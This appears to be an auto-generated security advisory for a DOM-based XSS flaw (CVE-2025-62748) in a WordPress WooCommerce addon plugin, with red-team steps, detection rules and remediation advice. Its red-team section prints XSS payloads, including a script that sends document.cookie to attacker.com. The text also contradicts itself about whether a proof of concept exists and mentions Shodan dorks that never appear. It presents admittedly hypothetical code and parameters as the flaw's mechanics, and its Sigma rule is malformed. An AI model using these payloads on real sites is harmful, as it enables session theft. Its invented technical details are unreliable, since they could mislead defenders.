CVE-2025-62748
Executive Summary
CVE-2025-62748 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Genetech Products Web and WooCommerce Addons for WPBakery Builder plugin (vc-addons-by-bit14), affecting versions through 1.5. This WordPress plugin fails to properly neutralize user input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser context. The vulnerability is classified as DOM-Based XSS, meaning the payload is executed client-side without server-side reflection, making it particularly stealthy and difficult to detect via traditional server logs.
The CVSS score of 6.5 (Medium) reflects the need for user interaction and the limited impact on confidentiality and integrity. However, in a WordPress ecosystem, this can lead to session hijacking, defacement, or phishing attacks against site administrators and visitors. No public exploit code or proof-of-concept is currently available, but the risk remains significant due to the lack of a vendor patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and consider removing the plugin if no update is provided. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin's integration with WooCommerce (handling sensitive user data) elevates the risk for e-commerce sites.
Deep Dive & Mechanics
The vulnerability resides in the vc-addons-by-bit14 plugin, which extends WPBakery Builder with additional elements for WooCommerce. The plugin improperly handles user-supplied input when generating DOM elements, allowing an attacker to inject JavaScript that executes in the victim's browser.
Root Cause: The plugin uses innerHTML or similar DOM manipulation methods without sanitizing input, enabling the injection of event handlers or script tags. For example, a parameter like ?product_id=123 might be reflected into a JavaScript context without encoding.
Attack Flow:
- Attacker crafts a malicious URL containing a JavaScript payload (e.g.,
?product_id=123"><script>alert(1)</script>). - Victim clicks the link or is redirected to the crafted URL.
- The plugin processes the input and injects it into the DOM without sanitization.
- The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the user.
WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not a server misconfiguration. The attack is client-side and does not exploit Apache or Nginx.
Vulnerable vs. Patched Code
Since no patch is available, the following shows a hypothetical vulnerable code pattern and its secure equivalent.
Vulnerable Code (JavaScript in plugin):
// Vulnerable: Directly sets innerHTML with user input
var productId = getParameterByName('product_id');
document.getElementById('product-display').innerHTML = 'Product ID: ' + productId;
Patched Code (Hypothetical):
// Patched: Uses textContent to prevent XSS
var productId = getParameterByName('product_id');
document.getElementById('product-display').textContent = 'Product ID: ' + productId;
Explanation: The vulnerable code uses innerHTML, which interprets the input as HTML. The patched version uses textContent, which treats the input as plain text, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target WordPress site with
vc-addons-by-bit14plugin version <= 1.5. - No authentication required.
Exploitation Steps:
- Identify a vulnerable parameter (e.g.,
product_id,category, or any user-controlled input reflected in the DOM). - Craft a payload:
<img src=x onerror=alert(document.cookie)> - Deliver the payload via a crafted URL:
https://target-site.com/?product_id=<img src=x onerror=alert(document.cookie)> - If the victim visits the URL, the script executes.
Advanced Payload (Session Hijacking):
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual URL parameters containing
<script>,<img onerror>, or other HTML event handlers. - Use Content Security Policy (CSP) headers to block inline scripts.
- Implement Web Application Firewall (WAF) rules to filter XSS patterns.
Mitigation:
- Remove or disable the vulnerable plugin until a patch is available.
- Apply input validation and output encoding on all user-supplied data.
- Use WordPress security plugins (e.g., Wordfence) to add virtual patching.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
?product_id=<script>or similar XSS payloads. - Log Entries: HTTP requests with parameters containing HTML tags or JavaScript event handlers.
- Client-Side Artifacts: Unusual JavaScript execution in the browser console (e.g.,
alert()popups). - Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
Detection Engineering
YARA Rule
rule CVE_2025_62748_DOM_XSS {
meta:
description = "Detects potential DOM-based XSS payloads targeting vc-addons-by-bit14 plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-62748"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<[^>]+onerror\s*=[^>]*>/i
$xss3 = /<[^>]+onload\s*=[^>]*>/i
$plugin = "vc-addons-by-bit14"
condition:
any of ($xss*) and $plugin
}
Sigma Rule
title: CVE-2025-62748 DOM-Based XSS in vc-addons-by-bit14
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script'
- 'onerror='
- 'onload='
- 'alert('
c-uri|contains: 'vc-addons-by-bit14'
condition: selection
falsepositives:
- Legitimate use of HTML in parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-62748 DOM-Based XSS in vc-addons-by-bit14"; flow:to_server,established; content:"vc-addons-by-bit14"; http_uri; pcre:"/(<script|<[^>]+onerror|<[^>]+onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Add Content Security Policy (CSP) headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-Term Fix:
- Contact the vendor (Genetech) for an official patch.
- If no patch is forthcoming, consider replacing the plugin with an alternative.
- Conduct a security audit of all WordPress plugins and themes.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.